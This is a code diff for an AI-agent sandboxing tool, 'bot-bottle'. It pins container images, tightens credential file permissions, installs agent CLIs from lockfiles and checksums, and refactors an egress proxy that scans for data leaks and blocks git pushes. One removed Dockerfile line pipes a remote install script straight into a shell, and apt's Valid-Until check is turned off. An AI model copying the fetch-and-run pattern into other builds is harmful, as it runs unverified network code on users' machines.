+    """Tag a local image with its complete content ID for a stable ``FROM``.
+
+    Agent images are immediately used as bases for the optional
+    nested-containers layer. A content-derived tag prevents another concurrent
+    build from moving the provider's ordinary ``:latest`` tag between those
+    two builds.
+
+    Unlike Docker, `container image tag` only accepts ``image-name[:tag]`` as
+    its source and rejects a bare image ID ("cannot specify 64 byte hex string
+    as reference"), so the mutable ``ref`` is what gets tagged here. The
+    post-tag inspection below is what keeps that fail-closed: if ``ref`` moved
+    between the two commands, the new tag will not resolve to the ID this call
+    derived its name from.
+    """
+    image = image_id(ref)
+    digest = image.removeprefix("sha256:")
+    if len(digest) != 64 or any(char not in "0123456789abcdef" for char in digest):
+        die(f"could not derive a local base tag from invalid image ID {image!r}")
+    repository = ref.split("@", 1)[0]
+    last_slash = repository.rfind("/")
+    last_colon = repository.rfind(":")
+    if last_colon > last_slash:
+        repository = repository[:last_colon]
+    pinned_ref = f"{repository}:sha256-{digest}"
+    result = subprocess.run(
+        [_CONTAINER, "image", "tag", ref, pinned_ref],
+        capture_output=True,
+        text=True,
+        check=False,
+    )
+    if result.returncode != 0:
+        die(
+            f"could not tag exact local image {image} via {ref!r}: "
+            f"{(result.stderr or result.stdout or '').strip() or '<no detail>'}"
+        )
+    if image_id(pinned_ref) != image:
+        die(f"content-derived local tag {pinned_ref!r} did not resolve to {image}")
+    return pinned_ref
+
+
 def image_created_at(ref: str) -> datetime | None:
    """Return the image creation timestamp as an aware UTC datetime, or None
    when the field is absent or unparseable (e.g. FROM-scratch images, images
@@ -63,12 +63,23 @@ def provision_git_gate(
    transport.exec(["chmod", "+x", "/etc/git-gate/access-hook"])
    creds = _creds_dir(bottle_id)
    transport.exec(["mkdir", "-p", creds])
+    transport.exec(["chmod", "700", creds])
+    credential_paths: list[str] = []
    for u in plan.upstreams:
        if u.identity_file:
-            transport.cp_into(u.identity_file, f"{creds}/{u.name}-key")
+            key_path = f"{creds}/{u.name}-key"
+            transport.cp_into(u.identity_file, key_path)
+            credential_paths.append(key_path)
        known_hosts = str(u.known_hosts_file)
        if known_hosts and known_hosts != ".":
-            transport.cp_into(known_hosts, f"{creds}/{u.name}-known_hosts")
+            known_hosts_path = f"{creds}/{u.name}-known_hosts"
+            transport.cp_into(known_hosts, known_hosts_path)
+            credential_paths.append(known_hosts_path)
+    # Copy-mode behavior differs across Docker, Apple Container, and SSH.
+    # Apply the security contract inside the gateway so every backend produces
+    # the same private credential namespace.
+    if credential_paths:
+        transport.exec(["chmod", "600", *credential_paths])
    # Init the bare repos + per-repo credential config for this namespace.
    script = git_gate_render_provision(bottle_id, plan.upstreams)
    transport.exec(["sh", "-c", script])
@@ -86,7 +86,7 @@ def _print_vm_install_instructions() -> None:
        info("Then start the service:  container system start")
    else:
        info("Install Firecracker: https://github.com/firecracker-microvm/firecracker/releases")
-        info("Configure the host:  ./cli.py backend setup")
+        info("Configure the host:  bot-bottle backend setup")


 def _auto_select_backend(prompt: bool = True) -> str:
@@ -1,9 +1,9 @@
 """`backend` CLI command — generic host setup/status across backends.

-`./cli.py backend setup    [--backend=NAME]` provisions (or points at how
+`bot-bottle backend setup    [--backend=NAME]` provisions (or points at how
 to provision) the chosen backend's one-time host prerequisites.
-`./cli.py backend status   [--backend=NAME]` reports readiness.
-`./cli.py backend teardown [--backend=NAME]` undoes setup (uninstall).
+`bot-bottle backend status   [--backend=NAME]` reports readiness.
+`bot-bottle backend teardown [--backend=NAME]` undoes setup (uninstall).

 All dispatch to the backend's `setup()` / `status()` / `teardown()`
 classmethods, so there are no backend-specific commands — swapping
@@ -1,7 +1,7 @@
 """cleanup: stop and remove all orphaned bot-bottle resources.

 Walks every registered backend (docker, firecracker, macos-container)
-so a single `./cli.py cleanup` reaps every backend's leftovers — a
+so a single `bot-bottle cleanup` reaps every backend's leftovers — a
 firecracker bottle's VM processes and run dirs won't survive a
 docker-only cleanup pass (issue addressed alongside #77).

@@ -22,6 +22,7 @@ from __future__ import annotations
 import sys

 from ...backend import get_bottle_backend, has_backend, known_backend_names
+from ...backend.cleanup_control import CleanupError
 from ...log import info
 from ...util import read_tty_line

@@ -52,10 +53,20 @@ def cmd_cleanup(_argv: list[str]) -> int:
        info("cleanup: skipped")
        return 0

-    for name, backend, plan in prepared:
-        if plan.empty:
+    # Confirmation authorizes a fresh authoritative snapshot, not blind use of
+    # identities that may have changed while the operator reviewed the preview.
+    failures: list[str] = []
+    for name, backend, displayed in prepared:
+        current = backend.prepare_cleanup()
+        approved = displayed.intersect(current)
+        if approved.empty:
            continue
-        backend.cleanup(plan)
+        try:
+            backend.cleanup(approved)
+        except CleanupError as exc:
+            failures.append(f"{name}: {exc}")
+    if failures:
+        raise CleanupError("cleanup incomplete: " + "; ".join(failures))
    info("cleanup: done")
    return 0

@@ -4,7 +4,7 @@ Docker bottles are committed to a local Docker image. Macos-container
 bottles are exported and rebuilt as a local Apple Container image.
 Firecracker bottles stream the guest rootfs out over SSH and rebuild a
 local Docker image. The resulting reference is stored in per-bottle
-state so the next `./cli.py resume <slug>` boots from the snapshot
+state so the next `bot-bottle resume <slug>` boots from the snapshot
 instead of rebuilding from the Dockerfile.
 """

@@ -37,7 +37,7 @@ def cmd_commit(argv: list[str]) -> int:
    if slug is None:
        active = enumerate_active_agents()
        if not active:
-            die("no active bottles; start one with `./cli.py start`")
+            die("no active bottles; start one with `bot-bottle start`")
        choices = [a.slug for a in active]
        slug = tui.filter_select(choices, title="Select bottle to commit")
        if slug is None:
@@ -8,7 +8,7 @@ override and transcript snapshot under the same state dir.

 Use case: an interrupted or preserved bottle needs to be relaunched;
 the operator runs
-    ./cli.py resume <identity>
+    bot-bottle resume <identity>
 to bring up the replacement from the recorded state.
 """

@@ -203,19 +203,19 @@ def _start_headless(
    if not os.isatty(stdin_fd):
        die(
            "--headless requires a PTY on stdin; run via:\n"
-            "  script -q /dev/null ./cli.py start ..."
+            "  script -q /dev/null bot-bottle start ..."
        )

    agent_name = args.name
    if not agent_name:
-        die("--headless requires an agent name: ./cli.py start <agent> --headless")
+        die("--headless requires an agent name: bot-bottle start <agent> --headless")
    manifest.require_agent(agent_name)  # raises ManifestError if unknown

    prompt = args.prompt
    if not prompt:
        die(
            "--headless requires --prompt: "
-            "./cli.py start <agent> --headless --prompt 'Do the thing'"
+            "bot-bottle start <agent> --headless --prompt 'Do the thing'"
        )

    if args.bottle:
@@ -319,9 +319,9 @@ def attach_agent(

    `resume=True` adds `--continue` so claude picks up its most
    recent session non-interactively (no session-picker prompt).
-    First-attach paths (`./cli.py start`) leave it False.
+    First-attach paths (`bot-bottle start`) leave it False.

-    Used as the inner step of `./cli.py start`."""
+    Used as the inner step of `bot-bottle start`."""
    runtime = runtime_for(agent_provider_template)
    info(
        f"attaching interactive {agent_provider_template} session "
@@ -354,7 +354,7 @@ def settle_state(identity: str) -> None:
    if not identity:
        return
    if is_preserved(identity):
-        info(f"to resume this bottle: ./cli.py resume {identity}")
+        info(f"to resume this bottle: bot-bottle resume {identity}")
        return
    cleanup_state(identity)

@@ -110,7 +110,7 @@ def discover_pending() -> list[QueuedProposal]:
 def _approval_status(qp: QueuedProposal, verb: str) -> str:
    """Status-line text after a successful approval."""
    base = f"{verb} {qp.proposal.tool} for [{qp.label}]"
-    return f"{base}; resume: ./cli.py resume {qp.label}"
+    return f"{base}; resume: bot-bottle resume {qp.label}"


 def _detail_lines(
@@ -8,9 +8,17 @@
 # Layer ordering is deliberate: the npm install lives in its own layer so
 # changes to the rest of the repo (or to the CMD) don't bust it.

-# Current Node LTS; slim variant keeps the image small while still
-# providing apt-get for any future additions.
-FROM node:22-trixie-slim
+# Version-qualified Node LTS, pinned to its multi-architecture manifest.
+ARG NODE_BASE_IMAGE
+FROM ${NODE_BASE_IMAGE}
+
+ARG DEBIAN_SNAPSHOT=20260724T000000Z
+RUN sed -i \
+      -e "s|http://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|http://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      /etc/apt/sources.list.d/debian.sources

 # Install runtime system deps. claude-code shells out to git for several
 # features (status checks, commits, PR creation) — without git in the
@@ -20,7 +28,7 @@ FROM node:22-trixie-slim
 # HTTPS_PROXY-aware tool (curl itself, plus anything that shells out
 # to it) works against egress's bumped TLS without the agent needing
 # local DNS.
-RUN apt-get update \
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends \
  git \
  ca-certificates \
@@ -35,15 +43,17 @@ RUN apt-get update \
 # (claude-code is a Node CLI), but is convenient for the agent to
 # shell out to for ad-hoc scripts. Kept on its own layer so it can
 # be moved to a downstream image if the base ever needs to shrink.
-RUN apt-get update \
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends python3 python3-pip python3-venv \
  && rm -rf /var/lib/apt/lists/*

-# Install claude-code globally. Pinned to the version verified in the v1
-# build (`claude --version` returns 2.1.126). Bump deliberately when
-# rolling forward; an unpinned install would mean rebuilds silently pick
-# up new behavior.
-RUN npm install -g --no-fund --no-audit @anthropic-ai/claude-code@2.1.172 \
+# Install from the committed npm lock. `npm ci` verifies every registry
+# artifact against its lockfile integrity and refuses dependency drift.
+COPY bot_bottle/contrib/claude/package.json \
+     bot_bottle/contrib/claude/package-lock.json /opt/claude/
+RUN cd /opt/claude \
+  && npm ci --omit=dev --no-fund --no-audit \
+  && ln -s /opt/claude/node_modules/.bin/claude /usr/local/bin/claude \
  && npm cache clean --force

 # Git reads both ~/.gitconfig and ~/.config/git/config. Keep its XDG config
@@ -0,0 +1,140 @@
+{
+  "name": "bot-bottle-claude-image",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "bot-bottle-claude-image",
+      "dependencies": {
+        "@anthropic-ai/claude-code": "2.1.172"
+      }
+    },
+    "node_modules/@anthropic-ai/claude-code": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-2.1.172.tgz",
+      "integrity": "sha512-SfwC+5fQcmNbvvm+1vLiZbfUxt0PQz9lbXapj9+FI+XY/2e+3zgteBM4JFEXBjULZj1DtZXHmKtAROUrMM9GZg==",
+      "hasInstallScript": true,
+      "license": "SEE LICENSE IN README.md",
+      "bin": {
+        "claude": "bin/claude.exe"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      },
+      "optionalDependencies": {
+        "@anthropic-ai/claude-code-darwin-arm64": "2.1.172",
+        "@anthropic-ai/claude-code-darwin-x64": "2.1.172",
+        "@anthropic-ai/claude-code-linux-arm64": "2.1.172",
+        "@anthropic-ai/claude-code-linux-arm64-musl": "2.1.172",
+        "@anthropic-ai/claude-code-linux-x64": "2.1.172",
+        "@anthropic-ai/claude-code-linux-x64-musl": "2.1.172",
+        "@anthropic-ai/claude-code-win32-arm64": "2.1.172",
+        "@anthropic-ai/claude-code-win32-x64": "2.1.172"
+      }
+    },
+    "node_modules/@anthropic-ai/claude-code-darwin-arm64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-darwin-arm64/-/claude-code-darwin-arm64-2.1.172.tgz",
+      "integrity": "sha512-pBRgDo8PAgbt2aE4oc6ZrKdOa/Ax36RAduhLCaI8NWD3a0RDb5mETzQciQLwnuenk0bs27vIRh9Yg1jAYG/0+A==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-darwin-x64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-darwin-x64/-/claude-code-darwin-x64-2.1.172.tgz",
+      "integrity": "sha512-vSgibgeCyvCFiLJSXu/sgcd3L/tUjSiS/tfS9rJLXUjElw8satMJhA5pqPUiBmKMflOWKMufbZgzXvLx+OhvFw==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-linux-arm64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-linux-arm64/-/claude-code-linux-arm64-2.1.172.tgz",
+      "integrity": "sha512-Ql7AbyaXnlA6NwDUaQGO7ZZis21rMjYjbKzpksMCvY35CmsJqanYgbYSn/rE83u/tZpKo+NqOv+bWEDSzsZ02w==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-linux-arm64-musl": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-linux-arm64-musl/-/claude-code-linux-arm64-musl-2.1.172.tgz",
+      "integrity": "sha512-Pa9mGGmp8QCRC2j1cgcWRRkwsK1x4bPsS3CcLRd936Op0k5et62tD3qIYhUPQOIxeuxe9Tt/y7lX1cx7JTDxyA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-linux-x64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-linux-x64/-/claude-code-linux-x64-2.1.172.tgz",
+      "integrity": "sha512-RYCY9EHkmtoAlwBKcWRzGIhuus+GM2CIVCfU81cTQAwDcCHunoBeFn3NqAcFV1VKb4dk9TRarAmQcWMKJrpPig==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-linux-x64-musl": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-linux-x64-musl/-/claude-code-linux-x64-musl-2.1.172.tgz",
+      "integrity": "sha512-1NflAnV/MqIlD4rzlGDVsJgGK2xJ2ldVd5pkcbu7PsDJBW5dzKYVa4PmD0715K8Yiji8jQovh/nhIo6gYyTfVQ==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-win32-arm64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-win32-arm64/-/claude-code-win32-arm64-2.1.172.tgz",
+      "integrity": "sha512-Gj8mIbHDDSGWnoriqB1Jt1uH6cvNBFDQBtIYarCcv0fs+QGCEP6qm2GIaKqxAbwkUaLT0sCW/7+ukvkNdSltuQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@anthropic-ai/claude-code-win32-x64": {
+      "version": "2.1.172",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code-win32-x64/-/claude-code-win32-x64-2.1.172.tgz",
+      "integrity": "sha512-OkheFwagiCEKaO2Sb0j3JTO1NrcR3zTlFik/AN+yQPefhUIGP6vHQDbBG5ksuFe+Dyd9s+P95OUh8WDhccb+Ng==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "SEE LICENSE IN LICENSE.md",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    }
+  }
+}
@@ -0,0 +1,7 @@
+{
+  "name": "bot-bottle-claude-image",
+  "private": true,
+  "dependencies": {
+    "@anthropic-ai/claude-code": "2.1.172"
+  }
+}
@@ -3,9 +3,22 @@
 # Mirrors the default Claude image shape: Node LTS, git/network tooling,
 # non-root node user, and the provider CLI installed for that user.

-FROM node:22-trixie-slim
+ARG NODE_BASE_IMAGE
+FROM ${NODE_BASE_IMAGE}

-RUN apt-get update \
+# Remote-control requires the standalone package layout. Keep this exact release
+# in sync with the committed upstream archive checksums.
+ARG CODEX_VERSION=0.145.0
+
+ARG DEBIAN_SNAPSHOT=20260724T000000Z
+RUN sed -i \
+      -e "s|http://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|http://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      /etc/apt/sources.list.d/debian.sources
+
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends \
  git \
  ca-certificates \
@@ -19,7 +32,7 @@ RUN apt-get update \
 # (codex is a Node CLI), but is convenient for the agent to shell
 # out to for ad-hoc scripts. Kept on its own layer so it can be
 # moved to a downstream image if the base ever needs to shrink.
-RUN apt-get update \
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends python3 python3-pip python3-venv \
  && rm -rf /var/lib/apt/lists/*

@@ -30,10 +43,29 @@ WORKDIR /home/node

 ENV PATH="/home/node/.local/bin:${PATH}"

-# Remote-control support requires the standalone Codex install layout
-# under ~/.codex/packages/standalone/current. The npm package can run
-# the TUI, but remote-control commands expect this installer-owned path.
-RUN mkdir -p /home/node/.codex \
-  && curl -fsSL https://chatgpt.com/codex/install.sh | sh
+# Install the exact standalone release archive selected by the target
+# architecture. The checksum list is copied from the immutable upstream release
+# and committed so a rebuild cannot silently accept changed release bytes.
+COPY --chown=node:node bot_bottle/contrib/codex/codex-package_SHA256SUMS /tmp/codex-package_SHA256SUMS
+RUN case "$(dpkg --print-architecture)" in \
+      amd64) codex_target=x86_64-unknown-linux-musl ;; \
+      arm64) codex_target=aarch64-unknown-linux-musl ;; \
+      *) echo "unsupported Codex architecture: $(dpkg --print-architecture)" >&2; exit 1 ;; \
+    esac \
+  && codex_asset="codex-package-${codex_target}.tar.gz" \
+  && codex_sha256="$(awk -v asset="${codex_asset}" '$2 == asset { print $1 }' /tmp/codex-package_SHA256SUMS)" \
+  && test -n "${codex_sha256}" \
+  && curl -fsSL \
+      "https://github.com/openai/codex/releases/download/rust-v${CODEX_VERSION}/${codex_asset}" \
+      -o "/tmp/${codex_asset}" \
+  && echo "${codex_sha256}  /tmp/${codex_asset}" | sha256sum -c - \
+  && codex_release="/home/node/.codex/packages/standalone/releases/${CODEX_VERSION}-${codex_target}" \
+  && mkdir -p "${codex_release}" /home/node/.local/bin \
+  && tar -xzf "/tmp/${codex_asset}" -C "${codex_release}" \
+  && ln -s bin/codex "${codex_release}/codex" \
+  && ln -s "${codex_release}" /home/node/.codex/packages/standalone/current \
+  && ln -s /home/node/.codex/packages/standalone/current/bin/codex /home/node/.local/bin/codex \
+  && rm "/tmp/${codex_asset}" \
+  && test "$(codex --version)" = "codex-cli ${CODEX_VERSION}"

 CMD ["codex"]
@@ -0,0 +1,2 @@
+54f79a05aba6f9abf8ef988abcae8bf2fcefba20beb549b4ff2b3acdb2cb6f54  codex-package-aarch64-unknown-linux-musl.tar.gz
+71a28d362c96ac9829bf8203a2c71be451aeb726adb843167fdaf0eae8fe7dd9  codex-package-x86_64-unknown-linux-musl.tar.gz
@@ -2,9 +2,18 @@
 #
 # Node LTS, git/network tooling, and the Pi coding-agent CLI installed globally.

-FROM node:22-trixie-slim
+ARG NODE_BASE_IMAGE
+FROM ${NODE_BASE_IMAGE}

-RUN apt-get update \
+ARG DEBIAN_SNAPSHOT=20260724T000000Z
+RUN sed -i \
+      -e "s|http://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|http://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      /etc/apt/sources.list.d/debian.sources
+
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends \
  git \
  ca-certificates \
@@ -15,13 +24,10 @@ RUN apt-get update \
  && ln -s /usr/bin/fdfind /usr/local/bin/fd \
  && rm -rf /var/lib/apt/lists/*

-RUN apt-get update \
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
  && apt-get install -y --no-install-recommends python3 python3-pip python3-venv \
  && rm -rf /var/lib/apt/lists/*

-RUN npm install -g --ignore-scripts --no-fund --no-audit @earendil-works/pi-coding-agent \
-  && npm cache clean --force
-
 RUN install -d -o node -g node -m 755 /home/node/.config /home/node/.config/git \
  && mkdir -p /home/node/.pi/agent \
  /home/node/.pi/context-mode/sessions \
@@ -34,10 +40,15 @@ RUN install -d -o node -g node -m 755 /home/node/.config /home/node/.config/git
 USER node
 WORKDIR /home/node

-RUN pi install npm:@harms-haus/pi-cwd \
-  && pi install npm:pi-web-access \
-  && pi install npm:context-mode \
-  && pi install npm:pi-subagents \
-  && pi install npm:pi-mcp-adapter
+# Pi discovers npm packages from its agent directory. Installing the CLI and
+# extensions together from the committed lock makes all direct and transitive
+# package versions deterministic, with npm integrity verification.
+COPY --chown=node:node bot_bottle/contrib/pi/package.json \
+     bot_bottle/contrib/pi/package-lock.json /home/node/.pi/agent/
+RUN cd /home/node/.pi/agent \
+  && npm ci --omit=dev --no-fund --no-audit \
+  && npm cache clean --force
+
+ENV PATH="/home/node/.pi/agent/node_modules/.bin:${PATH}"

 CMD ["pi"]
@@ -0,0 +1,15 @@
+{
+  "name": "bot-bottle-pi-image",
+  "private": true,
+  "dependencies": {
+    "@earendil-works/pi-coding-agent": "0.81.1",
+    "@earendil-works/pi-agent-core": "0.81.1",
+    "@earendil-works/pi-ai": "0.81.1",
+    "@earendil-works/pi-tui": "0.81.1",
+    "@harms-haus/pi-cwd": "1.0.0",
+    "context-mode": "1.0.169",
+    "pi-mcp-adapter": "2.11.0",
+    "pi-subagents": "0.35.1",
+    "pi-web-access": "0.13.0"
+  }
+}
@@ -136,10 +136,18 @@ def _pump(name: str, stream: IO[bytes]) -> None:
    """Read lines from `stream`, prefix with `[name]`, write to
    stdout. Runs in its own thread per child; daemon=True so a
    blocked read doesn't keep the process alive after main exits."""
-    for raw in iter(stream.readline, b""):
-        line = raw.decode("utf-8", errors="replace").rstrip("\n")
-        sys.stdout.write(f"[{name}] {line}\n")
-        sys.stdout.flush()
+    try:
+        for raw in iter(stream.readline, b""):
+            line = raw.decode("utf-8", errors="replace").rstrip("\n")
+            sys.stdout.write(f"[{name}] {line}\n")
+            sys.stdout.flush()
+    except (OSError, ValueError) as exc:
+        # The manager closes a dead child's pipe after wait() and before a
+        # restart. A pump can be between readline calls at that exact moment;
+        # closed-stream errors are normal completion, not uncaught thread
+        # failures. Preserve genuinely unexpected I/O diagnostics.
+        if not stream.closed:
+            _log(f"{name} output pump stopped: {type(exc).__name__}: {exc}")


 def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
@@ -0,0 +1,137 @@
+"""Shared resource boundaries for gateway stdlib HTTP services."""
+
+from __future__ import annotations
+
+import http.server
+import io
+import socket
+import threading
+import time
+from dataclasses import dataclass
+from typing import Any, Protocol
+
+
+class Readable(Protocol):
+    def read(self, size: int = -1, /) -> bytes: ...
+
+
+class Writable(Protocol):
+    def write(self, data: bytes, /) -> object: ...
+
+
+@dataclass(frozen=True)
+class BodyReadError(Exception):
+    status: int
+    message: str
+
+
+def read_declared_body(
+    stream: Readable,
+    connection: socket.socket,
+    raw_length: str | None,
+    *,
+    maximum: int,
+    timeout_seconds: float,
+    require_length: bool,
+) -> bytes:
+    """Validate and read exactly one declared body under a read deadline."""
+    output = io.BytesIO()
+    copy_declared_body(
+        stream, output, connection, raw_length, maximum=maximum,
+        timeout_seconds=timeout_seconds, require_length=require_length,
+    )
+    return output.getvalue()
+
+
+def copy_declared_body(
+    stream: Readable,
+    output: Writable,
+    connection: socket.socket,
+    raw_length: str | None,
+    *,
+    maximum: int,
+    timeout_seconds: float,
+    require_length: bool,
+) -> int:
+    """Copy one declared body to a sink without retaining it in memory."""
+    if raw_length is None:
+        if require_length:
+            raise BodyReadError(411, "Content-Length required")
+        raw_length = "0"
+    try:
+        length = int(raw_length)
+    except ValueError as exc:
+        raise BodyReadError(400, "invalid Content-Length") from exc
+    if length < 0:
+        raise BodyReadError(400, "invalid Content-Length")
+    if length > maximum:
+        raise BodyReadError(413, "request body too large")
+    previous_timeout = connection.gettimeout()
+    deadline = time.monotonic() + timeout_seconds
+    remaining = length
+    try:
+        while remaining:
+            timeout = deadline - time.monotonic()
+            if timeout <= 0:
+                raise BodyReadError(408, "request body read timed out")
+            connection.settimeout(timeout)
+            chunk = stream.read(min(remaining, 64 * 1024))
+            if not chunk:
+                raise BodyReadError(400, "incomplete request body")
+            output.write(chunk)
+            remaining -= len(chunk)
+    except TimeoutError as exc:
+        raise BodyReadError(408, "request body read timed out") from exc
+    finally:
+        connection.settimeout(previous_timeout)
+    return length
+
+
+class BoundedThreadingHTTPServer(http.server.ThreadingHTTPServer):
+    """ThreadingHTTPServer with a hard cap on in-flight request threads."""
+
+    daemon_threads = True
+
+    def __init__(  # pylint: disable=consider-using-with
+        self, *args, max_workers: int = 32, **kwargs,  # type: ignore[no-untyped-def]
+    ):
+        if max_workers < 1:
+            raise ValueError("max_workers must be positive")
+        self._request_slots = threading.BoundedSemaphore(max_workers)
+        super().__init__(*args, **kwargs)
+
+    def process_request(
+        self, request: Any, client_address: Any,
+    ) -> None:
+        if not self._request_slots.acquire(  # pylint: disable=consider-using-with
+            blocking=False,
+        ):
+            try:
+                request.sendall(
+                    b"HTTP/1.1 503 Service Unavailable\r\n"
+                    b"Content-Length: 0\r\nConnection: close\r\n\r\n"
+                )
+            finally:
+                self.shutdown_request(request)
+            return
+        try:
+            super().process_request(request, client_address)
+        except BaseException:
+            self._request_slots.release()
+            raise
+
+    def process_request_thread(
+        self, request: Any, client_address: Any,
+    ) -> None:
+        try:
+            super().process_request_thread(request, client_address)
+        finally:
+            self._request_slots.release()
+
+
+__all__ = [
+    "BodyReadError",
+    "BoundedThreadingHTTPServer",
+    "copy_declared_body",
+    "read_declared_body",
+]
@@ -16,7 +16,7 @@ import typing
 from mitmproxy import http  # type: ignore[import-not-found]  # pylint: disable=import-error

 from bot_bottle.constants import IDENTITY_HEADER
-from bot_bottle.gateway.egress.dlp_detectors import redact_tokens, strip_crlf
+from bot_bottle.gateway.egress.dlp_detectors import redact_tokens
 from bot_bottle.gateway.egress.dlp_config import (
    DEFAULT_OUTBOUND_ON_MATCH,
    ON_MATCH_BLOCK,
@@ -25,19 +25,19 @@ from bot_bottle.gateway.egress.dlp_config import (
 from bot_bottle.gateway.egress.context import resolve_client_context
 from bot_bottle.gateway.egress.dlp import (
    build_inbound_scan_text,
-    build_outbound_scan_text,
    build_token_allow_payload,
-    outbound_scan_headers,
    scan_inbound,
    scan_outbound,
 )
+from bot_bottle.gateway.egress.outbound_pipeline import redact_request, scan_request
 from bot_bottle.gateway.egress.matching import (
    decide,
-    decide_git_fetch,
-    is_git_fetch_request,
-    is_git_push_request,
    match_route,
 )
+from bot_bottle.gateway.egress.request_pipeline import (
+    evaluate_route_policy,
+    git_block_reason,
+)
 from bot_bottle.gateway.egress.schema import route_to_yaml_dict
 from bot_bottle.gateway.egress.types import (
    LOG_BLOCKS,
@@ -389,19 +389,9 @@ class EgressAddon:
        self._passthrough_conns.discard(conn_id)

    async def request(self, flow: http.HTTPFlow) -> None:
+        config, slug, env = self._request_context(flow)
        request_path, _, query = flow.request.path.partition("?")

-        # Reuse the context stashed by http_connect for HTTPS flows (one
-        # orchestrator round-trip per connection). Plain-HTTP flows have no
-        # prior CONNECT stash, so resolve now and stash for response/websocket.
-        meta = getattr(flow, "metadata", None)
-        if isinstance(meta, dict) and _FLOW_CTX_KEY in meta:
-            config, slug, env = meta[_FLOW_CTX_KEY]
-            self._request_token(flow)  # strip identity headers; token already resolved
-        else:
-            config, slug, env = self._resolve_flow(flow)
-            self._stash_flow_ctx(flow, config, slug, env)
-
        # Introspection ("_egress.local/allowlist") reports the calling bottle's
        # own resolved routes — served after resolution so it reflects this
        # bottle's policy, not a stale global.
@@ -422,56 +412,66 @@ class EgressAddon:
            # the path/query the git checks below rely on.
            request_path, _, query = flow.request.path.partition("?")

-        if is_git_push_request(request_path, query):
-            self._block(
-                flow,
-                "egress: git push over HTTPS is not supported; "
-                "use the bottle.git SSH path (gitleaks-scanned by "
-                "git-gate's pre-receive hook).",
-                ctx=self._req_ctx(flow),
-            )
+        if not self._allow_git_request(flow, config, request_path, query):
            return

-        if is_git_fetch_request(request_path, query):
-            git_decision = decide_git_fetch(
-                config.routes, flow.request.pretty_host,
-            )
-            if git_decision.action == "block":
-                self._block(
-                    flow,
-                    git_decision.reason,
-                    ctx=self._req_ctx(flow),
-                )
-                return
+        self._apply_route_policy(flow, config, route, request_path, env)

+    def _request_context(
+        self, flow: http.HTTPFlow,
+    ) -> tuple[Config, str, "typing.Mapping[str, str]"]:
